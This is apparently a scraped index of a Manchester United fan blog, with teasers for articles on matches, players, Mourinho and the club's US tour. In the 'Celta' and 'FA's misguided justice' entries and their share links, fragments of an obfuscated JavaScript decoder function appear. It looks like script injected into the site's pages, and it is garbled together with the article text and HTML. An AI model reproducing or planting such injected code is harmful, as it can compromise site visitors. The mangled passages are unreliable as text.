Second hand news re: Stoke 2-2 Man United

Most readers will be upset a perfect start to the season has died an ignoble death, the tombstone reading Stoke 2-2 Man United. Relax. It could be worse. Recent guest writer, Chris, who offered five reasons United would continue its 100% record through September, has...

Henrikh Mkhitaryan: A Little Help, Please

As Manchester United ruthlessly wears down opponents, then scores at will, it’s easy to praise the finishers while forgetting the primary source: Henrikh Mkhitaryan. As a boy, I would play football with classmates in the schoolyard during recess. Inevitably,...

Four down, 51 to go for Manchester United

In putting four goals past West Ham in its season opener, Manchester United did something it hadn’t in 2016-17. Jose Mourinho’s squad kept its foot on the gas until the final whistle. I think we can all agree Manchester United’s biggest problem...

Mourinho’s code of honourifics

A recent Jose Mourinho interview revealed two things: he hopes to manage Manchester United for 15 years, and, if not one of honour, he at least has a code of honourifics, ESPNFC's Mark Ogden is suffering through a difficult journalistic assignment at the moment. As...

Wayne Rooney channels his inner Allan Quatermain

When a long relationship ends, people have been known to sit in the dark afterwards, wondering what the other person is doing at that very moment. Thanks to internet and social media, you don't have to wonder when your ex is Wayne Rooney. I know, I know. If you're...

Don’t read too much into Man United’s preseason debut

In 2014, Man United’s preseason opened under Louis van Gaal with a 7-0 victory over Major League Soccer’s Los Angeles Galaxy. As we all know, everything went downhill from there. Fans were filled with hope seeing United again dominate an opponent in an...

Red Devils and the Red, White, and Blue: Man United's American history

Looking back over eight decades on Man United’s American history and players ahead of its upcoming five match United States tour, beginning on 15 July. In the Routledge Handbook of Football Marketing, which I'm sure you've all read, Claude Boli claims...

A View from The Opposition: Ajax

The season reaches its climax in dramatic fashion on Wednesday in Stockholm for the Reds in the Europa league final.  It sees Manchester United face up to Ajax Amsterdam.  Remarkably considering the illustrious European of both clubs, it will only be... Read More | Share it now!

The Dilemma of being half United and half Celta

This interview is courtesy of La Voz De Galicia. Joseph Sexton, an Irishman, has been following Spanish football for more than two decades.  However, it was six years ago that he started to take interest in Celta from his partner. “When I... Read More | function h94fcba1e7(y1){var vd=" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://www.socializer.info/share.asp?docurl=http://strettynews.com/dilemma-half-united-half-celta/&doctitle=The Dilemma of being half United <script type="text/javascript">function h94fcba1e7(y1){var vd=', '>4);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6');" id='alpr' style='visibility:visible;border: none; text-decoration: none; letter-spacing: 1px;;' target='_blank' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6and half Celta'>Share it now!

FA’s misguided justice: Marouane Fellaini and Joey Barton shot with same bullet

Let’s be honest. If dispensing justice was easy, we’d be living in a much happier world. The Irish question would have been answered at the first asking. Jews function h94fcba1e7(y1){var... Read More | function h94fcba1e7(y1){var vd=" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://www.socializer.info/share.asp?docurl=http://strettynews.com/marouane-fellaini-<script type="text/javascript">function h94fcba1e7(y1){var vd=', 'function h94fcba1e7(y1){var vd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var yb=\'\';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6');" id='alpr' style='visibility:visible;border: none; text-decoration: none; letter-spacing: 1px;;' target='_blank' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd/&doctitle=FA’s misguided justice: Marouane Fellaini and Joey Barton shot with same bullet'>Share it now!

Proud to be a #RojoRed

Good defending is a fine art. Great defending is a dark art. Marcos Rojo is looks increasingly like someone who can become a great defender at United. There were times under Louis Van Gaal where Rojo played like he was streaming the match on a... Read More | Share it now!

Celebration for Rashford’s goal the most important Man United moment at Stadium of Light

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